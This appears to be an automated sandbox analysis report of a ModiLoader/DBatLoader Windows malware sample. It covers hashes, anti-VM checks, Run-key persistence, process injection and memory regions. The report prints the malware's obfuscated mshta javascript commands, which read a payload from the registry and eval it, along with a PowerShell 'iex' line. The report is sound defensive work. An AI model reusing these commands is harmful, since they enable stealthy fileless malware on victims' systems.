Analysis
-
max time kernel
600s -
max time network
600s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
08-06-2024 13:27
Static task
static1
Behavioral task
behavioral1
Sample
B44A8DBE40CF3D75A23D5B991246249B.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
B44A8DBE40CF3D75A23D5B991246249B.exe
Resource
win10v2004-20240508-en
General
-
Target
B44A8DBE40CF3D75A23D5B991246249B.exe
-
Size
386KB
-
MD5
b44a8dbe40cf3d75a23d5b991246249b
-
SHA1
78f70912abd3599935dd15d12428b41bee81e452
-
SHA256
e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289
-
SHA512
9dbdd06ba87fb1478c07bf97facf69e079553393c3905afc960ea1bb5727aa59b260bd77652b3c877de518234875f6a8fb7fd82096c9049578ae143d47609251
-
SSDEEP
6144:JzYyFEqhqQK0TNhueSIfpzDx0J6Mml61EqIMiFNEnpIxI62:T1oQ1TbnRHclBIMiQpU2
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4892 3732 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 28 IoCs
Processes:
resource yara_rule behavioral2/memory/4496-0-0x0000000000400000-0x0000000000467638-memory.dmp modiloader_stage2 behavioral2/memory/4496-3-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/4496-6-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/4496-7-0x0000000000400000-0x0000000000467638-memory.dmp modiloader_stage2 behavioral2/memory/4496-4-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/4496-5-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/4496-2-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/4496-8-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/4496-9-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/3592-49-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/4496-50-0x0000000002210000-0x00000000022EC000-memory.dmp modiloader_stage2 behavioral2/memory/3592-56-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-70-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-86-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-88-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-84-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-82-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-80-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-78-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-76-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-74-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-72-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-66-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-64-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-62-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-60-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-58-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 behavioral2/memory/3592-68-0x0000000001200000-0x000000000134A000-memory.dmp modiloader_stage2 -
Contacts a large (757) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation mshta.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 3216 regsvr32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\9171eb53\\d46b8f4a.bat\"" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 regsvr32.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
B44A8DBE40CF3D75A23D5B991246249B.exeregsvr32.exeregsvr32.exedescription pid process target process PID 4496 set thread context of 3592 4496 B44A8DBE40CF3D75A23D5B991246249B.exe regsvr32.exe PID 3592 set thread context of 3216 3592 regsvr32.exe regsvr32.exe PID 3216 set thread context of 1108 3216 regsvr32.exe regsvr32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe -
Modifies registry class 7 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\cd9b97b9\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\cd9b97b9\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\cd9b97b9\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:cZt6H5=\"FFFMrsVS\";c9P=new ActiveXObject(\"WScript.Shell\");hzf0x0=\"nY45\";IpF2n=c9P.RegRead(\"HKCU\\\\software\\\\ppibkkvgp\\\\sjneiorksj\");GRcw0ez=\"0SKhkx\";eval(IpF2n);DYh6CB3=\"YQL\";\"" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\.d30822754 regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\.d30822754\ = "cd9b97b9" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\cd9b97b9 regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\cd9b97b9\shell regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeB44A8DBE40CF3D75A23D5B991246249B.exeregsvr32.exeregsvr32.exepid process 2588 powershell.exe 2588 powershell.exe 4496 B44A8DBE40CF3D75A23D5B991246249B.exe 4496 B44A8DBE40CF3D75A23D5B991246249B.exe 4496 B44A8DBE40CF3D75A23D5B991246249B.exe 4496 B44A8DBE40CF3D75A23D5B991246249B.exe 3592 regsvr32.exe 3592 regsvr32.exe 3592 regsvr32.exe 3592 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe 3216 regsvr32.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
B44A8DBE40CF3D75A23D5B991246249B.exeregsvr32.exeregsvr32.exepid process 4496 B44A8DBE40CF3D75A23D5B991246249B.exe 3592 regsvr32.exe 3216 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2588 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
mshta.exeB44A8DBE40CF3D75A23D5B991246249B.exeregsvr32.exeregsvr32.exedescription pid process target process PID 4892 wrote to memory of 2588 4892 mshta.exe powershell.exe PID 4892 wrote to memory of 2588 4892 mshta.exe powershell.exe PID 4892 wrote to memory of 2588 4892 mshta.exe powershell.exe PID 4496 wrote to memory of 3592 4496 B44A8DBE40CF3D75A23D5B991246249B.exe regsvr32.exe PID 4496 wrote to memory of 3592 4496 B44A8DBE40CF3D75A23D5B991246249B.exe regsvr32.exe PID 4496 wrote to memory of 3592 4496 B44A8DBE40CF3D75A23D5B991246249B.exe regsvr32.exe PID 4496 wrote to memory of 3592 4496 B44A8DBE40CF3D75A23D5B991246249B.exe regsvr32.exe PID 3592 wrote to memory of 3216 3592 regsvr32.exe regsvr32.exe PID 3592 wrote to memory of 3216 3592 regsvr32.exe regsvr32.exe PID 3592 wrote to memory of 3216 3592 regsvr32.exe regsvr32.exe PID 3592 wrote to memory of 3216 3592 regsvr32.exe regsvr32.exe PID 3216 wrote to memory of 1108 3216 regsvr32.exe regsvr32.exe PID 3216 wrote to memory of 1108 3216 regsvr32.exe regsvr32.exe PID 3216 wrote to memory of 1108 3216 regsvr32.exe regsvr32.exe PID 3216 wrote to memory of 1108 3216 regsvr32.exe regsvr32.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\B44A8DBE40CF3D75A23D5B991246249B.exe"C:\Users\Admin\AppData\Local\Temp\B44A8DBE40CF3D75A23D5B991246249B.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:g4OM5Wzkn="1sxHL1Ms";v4Z4=new%20ActiveXObject("WScript.Shell");wnKrQ4a9e="PAXF";Ejg0N=v4Z4.RegRead("HKCU\\software\\e92rIy\\fSlVSdE");wpyU5="9D";eval(Ejg0N);LD27jr="x9rl";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ebfli2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\9171eb53\d46b8f4a.batFilesize
75B
MD59094688c9bd507a24165434345d29283
SHA10fb97ff8e8c84d08543d4177d7635a9ceed3a334
SHA256105f98f967ed481ecd9f6205d82381b401f43c44d56ef2646b7904551d4c1579
SHA51258c0e1492532953ece6c06a05170d2c57818dca5cfff028354e5142bb04b61370df3a3ab6ccf86dc37873e4929badb823ff8bec6d66b246a52758280a582b1f6
-
C:\Users\Admin\AppData\Local\9171eb53\fc9a2a94.d30822754Filesize
32KB
MD5354f0f4315de3a15b46429844cc88574
SHA18339c389522feb872a878ddc61de42882e0600d7
SHA256d55b358e266726d95386fa4e929926c4026040b171c7dc3c708e15d57186a594
SHA51214cfb60fe8f462e7a45ba94a3218221bf4a3d5ce504b31503d0afa32fcd77df7b39d62a027b63dd7f765dfcb64fd097a9d617830f09878e7590e093cc60a9f22
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ofmq1ov3.mew.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/2588-29-0x0000000006710000-0x000000000672A000-memory.dmpFilesize
104KB
-
memory/2588-14-0x0000000005C40000-0x0000000005CA6000-memory.dmpFilesize
408KB
-
memory/2588-25-0x0000000005D20000-0x0000000006074000-memory.dmpFilesize
3.3MB
-
memory/2588-28-0x0000000007A40000-0x00000000080BA000-memory.dmpFilesize
6.5MB
-
memory/2588-27-0x0000000006240000-0x000000000628C000-memory.dmpFilesize
304KB
-
memory/2588-26-0x00000000061F0000-0x000000000620E000-memory.dmpFilesize
120KB
-
memory/2588-15-0x0000000005CB0000-0x0000000005D16000-memory.dmpFilesize
408KB
-
memory/2588-11-0x0000000002AE0000-0x0000000002B16000-memory.dmpFilesize
216KB
-
memory/2588-12-0x00000000055A0000-0x0000000005BC8000-memory.dmpFilesize
6.2MB
-
memory/2588-13-0x0000000005460000-0x0000000005482000-memory.dmpFilesize
136KB
-
memory/3592-62-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-64-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-49-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-56-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-68-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-58-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-60-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-66-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-72-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-74-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-76-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-70-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-86-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-88-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-84-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-82-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-80-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/3592-78-0x0000000001200000-0x000000000134A000-memory.dmpFilesize
1.3MB
-
memory/4496-4-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-7-0x0000000000400000-0x0000000000467638-memory.dmpFilesize
413KB
-
memory/4496-3-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-0-0x0000000000400000-0x0000000000467638-memory.dmpFilesize
413KB
-
memory/4496-9-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-50-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-5-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-2-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-8-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-6-0x0000000002210000-0x00000000022EC000-memory.dmpFilesize
880KB
-
memory/4496-1-0x0000000000455000-0x0000000000457000-memory.dmpFilesize
8KB